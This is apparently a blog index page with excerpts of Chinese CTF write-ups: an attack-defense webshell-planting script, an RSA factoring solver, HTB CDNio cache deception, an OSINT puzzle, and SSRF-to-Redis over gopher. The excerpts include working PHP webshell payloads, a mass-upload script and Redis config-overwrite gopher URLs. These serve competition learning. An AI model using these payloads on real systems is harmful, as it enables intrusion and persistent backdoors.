HKcert CTF 2024 final mini-ad | Writeup

全网第一篇wp^ ^(本来回来那天就该写了,拖延症硬是拖到现在……) 由于这题的阉割版被我放在线上赛,如果想直接看线上赛题解可以直接在目录里只看初步分析即可 目录结构&主要文件 docker-compose.yaml 拓补图如下 只有proxy和ssh分配到内网ip。proxy设计得很聪明,作用是防止反弹shell,只能通过上马直连的方式获取有限的命令执行,拿不到tty,而且也防止了安插诸如mitmproxy这类中间人流量监控,保证自己的流量不被别人监听 接着就来直接分析一下web的代码 初步分析 只有一个后端文件post.php,前端给了三个种选项。lev2是直接发消息并保存到messages,lev4是添加token鉴权,lev7是在token鉴权基础上使用qrcode编码消息。 全审一遍后会发现,除了file_put_content能直接写入东西外,危险函数只有两个include和一个shell_exec 所以入手的思路就有两种 通过lev2/4写shell.php,直接访问messages/shell.php或用post.php?name=shell.php&level=2 通过lev7做命令截断,例如message=;echo \'<?php system($_GET["cmd"])?>\' > messages/{name}.php 但因为是awd,所以要进一步来做防御和持久化 实况回忆 能进入到线下赛的队伍肯定和我们一样都是久经沙场的老手,比赛刚开始的时候一看awd,大家也都马上拿出预存的现成一句马批量种植脚本,很快拿到前几轮flag。所以前8轮大家都是差不多的重复播种一句马,从这之后才开始出现画风突变,什么不死马、隐身文件,甚至只在文章里见过的RSA加密马这次还真在实战里碰上了XD 别的题我不清楚,但每个队伍负责这道题的web手们可以说在别人家的靶机上偷flag偷得是相当欢乐🌚 在大概30轮左右的时候,其实大家在短时间内能想出来的招数也已经差不多都使完了,不过我在比赛之前就料想到可能会有awd这么一环,根据以往的经验,我便决定采取“敌先动我不动”的策略,除了最开始的一句马脚本在接着跑grep 'flag'以外,在批量脚本里我还加上一句cat *,开始到处搜刮其他人靶机上留下的马 所以接下来的木马升级,我的核心思想就是“你的马就是我的马”和“我读不到谁也别想读到”😈,让歪果仁见识一下熟读孙子兵法的中国民间黑客的石粒! 木马设计 先放上我最开始的一句马脚本,后面的脚本都是在这个框架的基础上做修改 import requests import re from concurrent.futures import ThreadPoolExecutor, as_completed # 从 ip 文件中读取目标 IP 地址 def read_ips(): try: with open("ip", "r") as file: ips = file.read().splitlines() return ips except FileNotFoundError: print("错误:未找到 ip 文件。请确保目标 IP 列表文件存在。") return [] # 目标 URL 和参数 def get_target_url(ip): return f"http://{ip}/post.php" def get_file_url(ip): return f"http://{ip}/messages/akared555.php" PARAMS = { "name": "akared555.php", "message": "<?php system(\"grep -r 'MINIAD{' . && cat *\");?>", "level": "2", } # 请求头 HEADERS = { "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-HK;q=0.5", "Cache-Control": "no-cache", "Connection": "keep-alive", "Content-Length": "0", "Origin": "http://43.199.161.42", "Pragma": "no-cache", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0", } def upload_file(target_url): """ 上传文件到目标服务器 """ try: response = requests.post( target_url, params=PARAMS, headers=HEADERS, verify=False # 忽略 SSL 证书验证 ) return response.status_code == 200 except requests.RequestException: return False def check_flag(file_url): """ 检查上传的文件内容是否包含以 MINIAD{ 开头的 flag """ try: response = requests.get(file_url, headers=HEADERS, verify=False) if response.status_code == 200: content = response.text # 使用正则表达式查找以 MINIAD{ 开头的 flag flag_match = re.search(r"MINIAD\{.*?\}", content) if flag_match: print(f"找到 flag: {flag_match.group(0)}") except requests.RequestException: pass def attack_ip(ip): """ 对单个 IP 地址执行上传和检查操作 """ target_url = get_target_url(ip) file_url = get_file_url(ip) if upload_file(target_url): check_flag(file_url) def main(): """ 主函数:并发检查所有 IP 地址 """ ips = read_ips() if not ips: return # 使用线程池并发处理 with ThreadPoolExecutor(max_workers=10) as executor: while True: futures = [executor.submit(attack_ip, ip) for ip in ips] for future in as_completed(futures): future.result() # 等待任务完成 if __name__ == "__main__": main() 结构其实很简单,其实就是实现了最基本的上传和访问、获取功能 ...

March 3, 2025 · 7 min · Red

24-25下半学年第一次线上赛 | Writeup

MISC 签到 发现每个emoji的英文的首字母就代表了真实的字符 例如home->🏠->h,以此类推出hello ctf -> 🏠🦅🍋🍋🍊 🐈🌮🍟 Spa 根据提示可知,和斯巴达密码棒有关,搜索之后了解过后得知其实就是字符移位,也就是栅栏密码 搜索栅栏密码解密工具,通过不断测试栏数后就能得到答案 因为存在空格,个别在线工具可能解不出来,这里附上我使用的工具栅栏密码在线加密解密 - 千千秀字 CRYPTO ezRsa exp如下 from Crypto.Util.number import * import gmpy2 n = e = 65537 c = def factor(n): pq_list = [] a = gmpy2.iroot(n, 2)[0] while 1: B_2 = pow(a, 2) - n if gmpy2.is_square(B_2): b = gmpy2.iroot(B_2, 2)[0] p1q1= a - b p2q2 = a + b pq_list.append([p1q1, p2q2]) if len(pq_list) == 2: break a += 1 return pq_list pq_list = factor(n) X1, Y1 = pq_list[0] X2, Y2 = pq_list[1] p1 = gmpy2.gcd(X1, X2) q1 = gmpy2.gcd(Y1, Y2) p2 = X2 // p1 q2 = Y2 // q1 phi = (p1 - 1)*(q1 - 1)*(p2 - 1)*(q2 - 1) d = gmpy2.invert(e,phi) m = pow(c,d,n) flag = long_to_bytes(m) print(flag) WEB 打赏 详情见下一篇博客HKcert CTF 2024 final mini-ad | Writeup | Red的小屋 ...

March 2, 2025 · 2 min · Red

HTB CDNio | Writeup

可能是这题的全网第一篇简中wp( 分析 按照惯例,先找flag在哪 在数据库,并且在admin用户同一条记录下。再分析一下功能,主要就四个 根路由,查询输入的用户是否存在(app/blueprints/auth/routes.py) /register,注册(app/blueprints/auth/routes.py) /visit,分析功能后发现可以直接携带admin用户的token并请求任意路由(app/blueprints/bot/routes.py和app/utils/bot.py) 带有profile字样的任意路由或其他路由,输出保存在数据库里的详细数据(app/blueprints/main/routes.py) 其中第四个功能的路由比较特殊 @main_bp.route('/<path:subpath>', methods=['GET']) 意思就是什么uri他都吃,再分析下面具体的实现代码 if re.match(r'.*^profile', subpath): # Django perfection ... ... else: return jsonify({"error": "No match"}), 404 就可以得知,除了在其他代码里定义好的路由外,没有’profile’字样的uri最后都会被丢个No match 分析完功能,思路就很清晰了,应该就是想办法利用visit路由携带好的token去读profile。 但分析完后发现,虽然能请求profile,但上面这段代码很明显只能访问但不能回显携带的内容 所以要想个办法把请求的内容带出来。 我很少看题目附件里给的nginx配置文件,除非真的没有思路继续下去。而这题就正好是这种少数题目之一 看起来nginx在实现一种和CDN一样的效果,把前端访问过的静态文件存下来,如果在他的缓存路径里就直接读缓存,如果不在就把请求交给gunicorn做正常访问。 根据上面的分析也可以知道,很明显后端对/profile这个路由的访问处理并不是很严格,不管我访问什么稀奇古怪的路径,只要路径里带有profile就都会被判定为/profile。所以当我访问profile/1.css时,/profile的内容就会被缓存到profile/1.css里,我再正常地去访问profile/1.css就能够拿到/profile的内容。这种攻击方式被叫做缓存欺骗 实操 来看看具体题目,首先我想要访问/visit就需要有一个token。不过这个token是什么无所谓,只要有就行。所以需要先注册一个 接着拿去登陆,获取token(ip地址不一样别在意,就是拿平台靶场试的而已) 最后就可以拿去访问visit,出现下面字样说明访问成果 不过,完全一样的请求包也有可能在你访问后给你丢个invalid token,这种情况只要多发几次就行。原因不明,感觉像是HS256导致的某种神奇反应导致token间歇性不识别= = 最后正常访问即可

February 10, 2025 · 1 min · Red

2025新年红包题 | Writeup

拿到网站后先发现标题有东西,拿来看看 在打开审查元素的时候也发现了一行注释 访问看看 虽然这不重要,但是这很重要 页面信息利用完,感觉没什么进展了,那就扫扫目录吧 访问一下 (可能有人这里会吐槽这跟log有什么关系,但是故意放log就是因为它在dirsearch默认字典里比较靠后,就能让那些扫没两秒就退出的人做不出来^ ^) 留下这个pass,然后访问一下给的hint,来到一个wordpress 发现文章都需要密码,所以开始搜集信息。随便点进一片看一下能不能查看用户名 发现已经被修改过了,那就只能想别的办法。因为是wordpress,所以用wpscan扫一下 发现两个用户名 拿出刚才log页面的pass,需要再解一下 拿dondondonki登陆即可,进来后直接来到文章区域,把每一篇文章都看过去一遍后就能,在“等等,嘶”这篇文章下面发现了这两句话 结合hint1的“ssh不需要爆破”这个提示,推断这个端口应该是ssh端口。那么接下来就是拼接密码的osint过程 首先来看第一张,映入眼帘应该是一张从酒店内往酒店门口拍摄的视角,仔细看一下就能发现这个 根据常识可以得知是香港行政区旗🇭🇰,并且人口为750w小于1000w,因此第一个字符为h 第二篇文章的图片内没有什么文字描述或者明显的特征,只有一些长相比较特殊的植物,所以google搜图随手搜索一下 知道了名字,就问问ai 并且通过图中远处小屋可以推测是木质结构,在中国广西和云南等地才比较常见,不在蜂斗菜适宜生长环境内,因此中国的可能性可以排除。且根据后方地形判断此处以丘陵(300m以下)为主,不符合日本、韩国以山脉为主的地理特征,因此日本韩国也排除。最后就只剩俄罗斯了,人口大于1000万,因此第二个字符为R 第三篇文章,题中唯一存在的文字信息就是石柱上的牌子,但是有点模糊,有些单字需要猜测 大概可以拼出个antonio anostinho neto,直接放到google里可以发现是个人名,Agostinho Neto 并且位于安哥拉,搜索后人口为3393w,字符为A 第四篇文章和第二篇一样可利用信息很少,唯一知道的就是一条又长又笔直的公路和路上的 在上述ai给的地区中,结合图片宽广笔直的道路场景,只有美国和加拿大比较符合特征。 并且这里还设计到一个地区交通小常识,如果你是做osint的新手可以记录下来。就是高速路上单黄虚线更多地出现在加拿大,关于这点的更多解释可以看这篇2022 idek CTF wp中的image13。简单来说,就是google上有关单黄虚线长笔直高速路的搜索结果更多地指向加拿大,少部分位于中国西北和美国北部。因此这篇文章字符为C 第五篇文章,算是比较经典图寻坐标了,就是路边的这个小路标 这里我给大家提供一张geoguessr社区大神们总结出来的路标图作为参考 明显图示路标出现区域为波兰,由于这个路桩的唯一性,因此可以直接推测为波兰。字符为P 第六篇文章应该能算送分题,应该很多人第一眼就猜出是日本。原因就是左上角的制粉店招牌。但其实这并不是能断定是日本的唯一要素,因为这样的繁体字招牌有可能存在东亚地区很多个地方。所以为了严谨一点,我们就按照图寻的玩法排一下。 首先排除中国大陆和香港、澳门,因为这三个地区一个是使用简体,另两个是不可能存在这么长一条路都是空旷低矮的房屋。其次是台湾,这时候就得把图片拉大看一下远处的车辆 会发现这台车牌是黄色的,而通过搜索会发现台湾车牌主要以白色为主 因此最后可以定位到日本,字符为J 最后一篇,首先就是拿这台白车的车牌作为一个大致方位定位 但先不急,还有第二张图。第二张图内容显示是个靠海的国家,并且使用法语,再根据第一张图中有摩托车、棕榈树,并且房屋都比较低矮的特征来看,所在地应该是某个欠发达地区的热带,那么最再结合法语的使用,结合历史常识推测最有可能的就是非洲。并且根据后面的提示可以知道,这个国家曾在20世纪60年代独立,那么范围就更近一步缩小。 先把上世纪60年代独立的国家拉出来问一下ai,有没有符合图述内容的地方 ...

January 31, 2025 · 1 min · Red

软件系统安全赛 CachedVisitor | Writeup

第一次参加这个比赛,本以为是pwn赛,结果没想到是web最无敌的一集(有点可惜没把厦大刷下来= =) 拿到附件先起一个本地服务来打。apple silicon要指定amd64 main.lua的主要逻辑就是将visit.script的代码执行。visit.script的主要逻辑是将输入进来的url地址用lua的curl模块访问。并且会将页面访问结果保存到redis中。思路很简单,就是想办法利用redis来保存一个文件将visit.script覆盖掉,覆盖掉的内容就是要执行的lua反弹shell或者命令执行。 首先要先了解一下redis的一些常用指令和小常识,这里只介绍本题需要用到的 keys * --查看所有键值对 get keyname --查看该键的值 save --将当前 Redis 所有数据保存到文件里。文件名和路径在下面两个命令可以修改 CONFIG SET dbfilename yourfilename.rdb --设置save的文件名 CONFIG SET dir /var/lib/redis --设置save的保存目录 QUIT --退出redis命令行。这个很重要,一会儿就会用到 rdbcompression yes --在附件里给的redis配置文件第461行,主要作用就是开启rdb存储压缩。redis有两种持久化方式,一种叫rdb一种叫aof,有兴趣可以自查。并且,redis所有配置信息都可以在终端中用config get keyname的方式获取到 尝试访问一下file:///etc/passwd可以得到passwd 进容器的redis验证一下有没有把访问内容存下来。发现确实存了下来。 因为redis支持使用gopher协议控制,所以直接先用下面的payload梭一把试试 gopher://localhost:6379/_*2%0D%0A$3%0D%0AGET%0D%0A$18%0D%0Afile:///etc/passwd%0D%0A 这个格式是用gopher访问redis固定的,*2表示这一行命令里有2个参数,$3,$18表示参数长度,并且最后一定要加一个CRLF的换行。厨子编码时要注意把全编码钩上,不然会不符合gopher协议规范(具体原因可以看这篇博客:https://redshome.top/2023/01/13/58/)。现在我们发一波试试。 可以发现换了个timeout回来,当时和队友在这儿卡了有一段时间,一直以为是我语句构造出了问题,以至于错过了前3血= = 直到队友拿着这段payload在命令行尝试直接curl后拿到了下面这样的结果 我便恍然大悟,问题就出在请求成功后没有退出redis终端,于是便搜到了上面所说的QUIT指令。接下来就是改造完的payload gopher://localhost:6379/_%2A2%0D%0A%243%0D%0AGET%0D%0A%2418%0D%0Afile%3A%2F%2F%2Fetc%2Fpasswd%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A%0D%0A 前后端均访问正常。最后再来测试一下save下来的数据长啥样 嘶,怎么感觉不太正常,好像存下来后和直接输出不太一样。这样可以不行,要是一会儿存下来的lua代码也变成这样那就执行不了了。当时队友“神之一手”一下就反应过来是压缩存储的问题,我们先把压缩存储关掉后再试一遍 无敌了,接下来就是走一遍最开始说的思路。首先是修改一下靶机的dbfilename,dir还有rdbcompression *4 $6 config $3 set $3 dir $8 /scripts *4 $6 config $3 set $10 dbfilename $12 visit.script *4 $6 config $3 set $14 rdbcompression $2 no *1 $4 QUIT gopher://localhost:6379/_%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%248%0D%0A%2Fscripts%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2412%0D%0Avisit%2Escript%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2414%0D%0Ardbcompression%0D%0A%242%0D%0Ano%0D%0A%2A1%0D%0A%244%0D%0AQUIT%0D%0A%0D%0A ...

January 6, 2025 · 1 min · Red